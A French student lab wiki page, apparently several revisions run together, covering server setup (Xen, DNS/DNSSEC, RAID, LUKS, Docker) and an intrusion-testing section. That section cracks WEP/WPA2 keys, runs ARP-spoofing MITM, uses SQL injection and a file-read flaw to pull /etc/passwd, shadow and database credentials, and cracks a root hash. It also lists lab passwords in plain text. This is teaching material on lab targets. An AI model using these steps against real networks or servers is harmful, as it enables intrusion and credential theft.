Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

TP sysres IMA5sc 2020/2021 G5

2020-12-17T23:13:03Z

Psanchez : /* Installation de docker */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de votre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

TP sysres IMA5sc 2020/2021 G5

2020-12-17T23:12:35Z

Psanchez : /* Installation de docker */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
